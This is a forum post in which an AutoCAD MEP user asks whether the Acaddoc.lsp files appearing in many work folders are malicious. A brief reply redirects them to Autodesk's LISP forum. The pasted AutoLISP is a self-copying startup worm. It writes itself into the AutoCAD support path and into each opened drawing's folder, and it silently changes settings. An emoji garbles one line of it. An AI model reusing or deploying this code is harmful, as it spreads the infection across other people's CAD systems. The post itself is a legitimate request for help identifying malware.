I'm trying to determine whether the Acaddoc.lsp files that I'm finding in many of our working folders are malicious. Nothing appears to be going wrong with opening files, working on them, saving them, etc., but I'm seeing the LSP files appearing in many of our folders and I'm not sure if I should take action to remove/cleanse them. Please let me know if you have any advice about this. We're using AutoCAD MEP. Here is what I'm seeing inside the LSP file when I use Notepad to look at it:
(setvar "LAYEREVAL" 0)
(setvar "LAYERNOTIFY" 0)
(defun-q s::startup
(/ basepath
baseacad
acaddocpath
r-acaddoc
w-basepath
rl-acaddoc
acaddoclsp
c-acaddocname
c-acaddocpath
c-acaddoc
)
(setq basepath
(findfile "base.dcl")
)
(setq basepath
(substr basepath
1 (- (strlen basepath) 😎
)
)
(setq baseacad (strcat basepath "acaddoc.lsp"))
(setq acaddocpath
(findfile "acaddoc.lsp")
)
(setq acaddocpath
(substr acaddocpath
1 (- (strlen acaddocpath) 11)
)
)
(setq acaddoclsp
(strcat acaddocpath "acaddoc.lsp"))
(setq c-acaddocname
(getvar "dwgname")
)
(setq c-acaddocpath
(findfile c-acaddocname)
)
(setq c-acaddocpath
(substr c-acaddocpath
1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
)
)
(setq c-acaddoc
(strcat c-acaddocpath "acaddoc.lsp")
)
(if
(and
(/= basepath acaddocpath)
(= c-acaddocpath acaddocpath)
)
(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open baseacad "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)
)
(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open c-acaddoc "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)
)
)
(princ)
)
(setvar "cmdecho" 0)(terpri)(command ".-scalelistedit")(command "reset")(command "yes")(command
"exit")
(setvar "LAYEREVAL" 0)
(setvar "LAYERNOTIFY" 0)
You might get a better response in the LISP forum. You can find it hear.
http://forums.autodesk.com/t5/Visual-LISP-AutoLISP-and-General/bd-p/130